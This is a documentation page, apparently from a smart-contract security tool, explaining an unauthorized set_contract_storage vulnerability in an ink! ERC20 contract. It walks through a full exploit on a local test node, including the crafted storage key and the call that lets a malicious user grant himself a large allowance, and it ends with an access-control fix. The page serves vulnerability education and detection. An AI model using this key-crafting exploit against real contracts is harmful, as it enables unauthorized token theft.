Skip to main content

Set contract storage

Description

Smart contract can store important information in memory which changes through the contract's lifecycle. Changes happen via user interaction with the smart contract. An unauthorized set contract storage vulnerability happens when a smart contract call allows a user to set or modify contract memory when he was not supposed to be authorized.

In this example, we see how this vulnerability can be exploited to change a user's allowance in an ERC20 contract.

Exploit Scenario

In this example we see that any user may access the set_contract_storage() function, and therefore modify the value for any key arbitrarily.

#[ink::trait_definition]
pub trait MisusedSetContractStorage {
#[ink(message)]
fn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()>;
}


impl MisusedSetContractStorage for Erc20 {
#[ink(message)]
fn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()> {
env::set_contract_storage(&user_input_key, &user_input_data);
Ok(())
}
}

The vulnerable code example can be found here.

Deployment

To compile this example, cargo-contract v2.0.1 (or above) is required.

In order to run this exploit, download, unzip and run a substrate node with ./substrate-contract-node. Download the contents of the example folder associated to this detector and compile the contract running cargo contract build and build the binary.

Afterwards, upload the the binary into the running network with the account Alice using cargo contract upload --suri //Alice ./target/ink/my_contract.contract.

$ cargo contract upload --suri //Alice ./target/ink/my_contract.contract

Events
Event Balances ➜ Withdraw
who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
amount: 3.366751549mUNIT
Event Balances ➜ Reserved
who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
amount: 587.83mUNIT
Event Contracts ➜ CodeStored
code_hash: 0xacb7ab745fa131cf8a8eb0f5bb2d98f88ea186da39dee2e80b1289bcfd9d7f25
Event TransactionPayment ➜ TransactionFeePaid
who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
actual_fee: 3.366751549mUNIT
tip: 0UNIT
Event System ➜ ExtrinsicSuccess
dispatch_info: DispatchInfo { weight: Weight { ref_time: 3366724431, proof_size: 0 }, class: Normal, pays_fee: Yes }

Code hash "0xacb7ab745fa131cf8a8eb0f5bb2d98f88ea186da39dee2e80b1289bcfd9d7f25"

Instantiate the uploaded smart contract with 100000 tokens from Alice running cargo contract instantiate --args 100000 --suri //Alice, press y and [Enter].

$ cargo contract instantiate --args 100000 --suri //Alice

Dry-running new (skip with --skip-dry-run)
Success! Gas required estimated at Weight(ref_time: 1173504383, proof_size: 0)
Confirm transaction details: (skip with --skip-confirm)
Constructor new
Args 100000
Gas limit Weight(ref_time: 1173504383, proof_size: 0)
Submit? (Y/n): y
Events
Event Balances ➜ Withdraw
who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
amount: 99.001146μUNIT
Event System ➜ NewAccount
account: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
Event Balances ➜ Endowed
account: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
free_balance: 100.605mUNIT
Event Balances ➜ Transfer
from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
amount: 100.605mUNIT
Event Balances ➜ Reserved
who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
amount: 100.605mUNIT
Event Contracts ➜ ContractEmitted
contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
data: Transfer { from: None, to: Some(5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY), value: 100000 }
Event Contracts ➜ Instantiated
deployer: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
Event Balances ➜ Transfer
from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
amount: 200.16mUNIT
Event Balances ➜ Reserved
who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
amount: 200.16mUNIT
Event TransactionPayment ➜ TransactionFeePaid
who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
actual_fee: 99.001146μUNIT
tip: 0UNIT
Event System ➜ ExtrinsicSuccess
dispatch_info: DispatchInfo { weight: Weight { ref_time: 5236087078, proof_size: 0 }, class: Normal, pays_fee: Yes }

Contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf

Notice that, in this case, the contract address is 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf. For Alice, her address is by default 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY and Bob's address is 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty.

You can get Alice's allowance for Bob with the following command cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run. Make sure to replace the contract address with the one you obtained. In this case, you will see that the allowance is set to zero.

$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run

Result Success!
Reverted false
Data Ok(0)

Alice can approve a higher allowance for Bob using the approve() function with the command cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::approve --args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10 --suri //Alice.

$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::approve --args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10 --suri //Alice

Dry-running BaseErc20::approve (skip with --skip-dry-run)
Success! Gas required estimated at Weight(ref_time: 7983333376, proof_size: 262144)
Confirm transaction details: (skip with --skip-confirm)
Message BaseErc20::approve
Args 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty 10
Gas limit Weight(ref_time: 7983333376, proof_size: 262144)
Submit? (Y/n): y
Events
Event Balances ➜ Withdraw
who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
amount: 98.974204μUNIT
Event Contracts ➜ ContractEmitted
contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
data: Approval { owner: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY, spender: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty, value: 10 }
Event Contracts ➜ Called
caller: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
Event Balances ➜ Transfer
from: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
to: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
amount: 100.08mUNIT
Event Balances ➜ Reserved
who: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
amount: 100.08mUNIT
Event TransactionPayment ➜ TransactionFeePaid
who: 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY
actual_fee: 98.974204μUNIT
tip: 0UNIT
Event System ➜ ExtrinsicSuccess
dispatch_info: DispatchInfo { weight: Weight { ref_time: 3485758564, proof_size: 30498 }, class: Normal, pays_fee: Yes }

Let us assume Bob is a malicious user and he wants to set a higher allowance for himself without Alice's approval. Taking a look at the smart contract, he notices that the function misused_set_contract_storage() has no access control validation and uses the set_contract_storage() function. Working on the input of this function, he could change the contract's storage and his allowance.

In order to do this, he runs the following command cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message MisusedSetContractStorage::misused_set_contract_storage --args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000 --suri //Bob.

$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message MisusedSetContractStorage::misused_set_contract_storage --args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000 --suri //Bob

Dry-running MisusedSetContractStorage::misused_set_contract_storage (skip with --skip-dry-run)
Success! Gas required estimated at Weight(ref_time: 7983333376, proof_size: 262144)
Confirm transaction details: (skip with --skip-confirm)
Message MisusedSetContractStorage::misused_set_contract_storage
Args [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] 1000000
Gas limit Weight(ref_time: 7983333376, proof_size: 262144)
Submit? (Y/n): y
Events
Event Balances ➜ Withdraw
who: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty
amount: 98.974241μUNIT
Event Contracts ➜ Called
caller: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty
contract: 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf
Event TransactionPayment ➜ TransactionFeePaid
who: 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty
actual_fee: 98.974241μUNIT
tip: 0UNIT
Event System ➜ ExtrinsicSuccess
dispatch_info: DispatchInfo { weight: Weight { ref_time: 2142080861, proof_size: 30498 }, class: Normal, pays_fee: Yes }

If we check now Bob's allowance, we see that he has access to 1000000 tokens!

$ cargo contract call --contract 5Gj5Z1Nf8NPkaP2iuBQhkJQRt1f7Nt7H2umwbrRRnonnKEQf --message BaseErc20::allowance --args 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty --suri //Alice --dry-run

Result Success!
Reverted false
Data Ok(1000000)

Breaking down the used key [255,0,0,0,212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125,142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72], we note that:

  • [255,0,0,0] stands for allowances mapping.
  • [212,53,147,199,21,253,211,28,97,20,26,189,4,169,159,214,130,44,133,88,133,76,205,227,154,86,132,231,165,109,162,125] corresponds, byte by byte, to Alice's address 5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY.
  • [142,175,4,21,22,135,115,99,38,201,254,161,126,37,252,82,135,97,54,147,201,18,144,156,178,38,170,71,148,242,106,72] corresponds, byte by byte, to Bob's address 5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty.

Remediation

Arbitrary users should not have control over keys because it implies writing any value of a mapping, lazy variable, or the main struct of the contract located in position 0 of the storage. To prevent this issue, set access control and proper authorization validation for the set_contract_storage() function.

Arbitrary users should not have control over keys because it implies writing any value of a mapping, lazy variable, or the main struct of the contract located in position 0 of the storage. Set access control and proper authorization validation for the set_contract_storage() function.

For example, the code below, ensures only the owner can call misused_set_contract_storage().

#[ink(message)]
fn misused_set_contract_storage(&mut self, user_input_key: [u8; 68], user_input_data: u128) -> Result<()> {
if self.env().caller() == self.owner {
env::set_contract_storage(&user_input_key, &user_input_data);
Ok(())
} else {
Err(Error::UserNotOwner)
}
}

The remediated code example can be found here.

References